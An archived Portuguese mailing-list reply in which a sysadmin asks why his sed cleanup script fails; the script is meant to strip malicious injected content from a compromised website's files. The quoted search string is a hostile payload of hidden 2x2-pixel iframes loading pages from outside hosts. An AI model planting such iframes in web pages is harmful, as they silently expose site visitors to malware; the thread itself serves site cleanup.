[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: [shell-script] Ajuda com aspas duplas no sed
From: |
João Olavo Baião de Vasconcelos |
Subject: |
Re: [shell-script] Ajuda com aspas duplas no sed |
Date: |
Thu, 11 Apr 2013 07:58:20 -0300 |
2013/4/10 Thiago M. Figueiredo <address@hidden>
> **
> Esse é o erro:
>
> sed: 1: "s/<iframe src="http://m ...": bad flag in substitute command: 'm'
>
> Esse é script que construi para fazer essa função.
>
> SUJEIRA="<iframe src="http://my.edu.au/404.php\" width=\"2\"height=\"2\"
> frameborder=\"0\"></iframe><iframe src=\"http://my.edu.au/404.php\"
> width=\"2\" height=\"2\"
> frameborder=\"0\"></iframe><iframe src=\"http://www.tlsgroup.ru/bit.php\"
> width=\"2\" height=\"2\" frameborder=\"0\"></iframe>";
>
Se escapar essa segunda aspas (src="http://my...) não resolve? A variável
$SUJEIRA está sendo guardada sem essa aspas.
> LOCAL="/usr/local/www/cidademaiscrianca/httpdocs";
> ARQTEMPORARIO="/tmp/arquivo.txt"
>
> ARQUIVOS=`grep -irn $SUJEIRA $LOCAL/* | cut -d":" -f1`;
> for LIMPA in $ARQUIVOS; do
> sed "s/$SUJEIRA/ /g" $LIMPA > $ARQTEMPORARIO;
> cp $ARQTEMPORARIO $LIMPA;
> echo "Limpando arquivo $LIMPA";
> done
>
> Alguém já tentou usar sed com aspas duplas?
>
> muito obrigado
> atenciosamente,
> Thiago M. Figueiredo
>
> ------------------------------
> Thiago M. Figueiredo
> address@hidden
> Cel: (55 11)9472-5713
> address@hidden
> http://www.thiagofigueiredo.com
> Open Source o conhecimento é do mundo.
> Usar software proprietário R$ 450,00 com MasterCard, usar software
> livre não tem preço.... mas para todos os outros softwares existem os
> cracks. .
>
>
--
João Olavo Baião de Vasconcelos
Analista de Sistemas - Infraestrutura
[As partes desta mensagem que não continham texto foram removidas]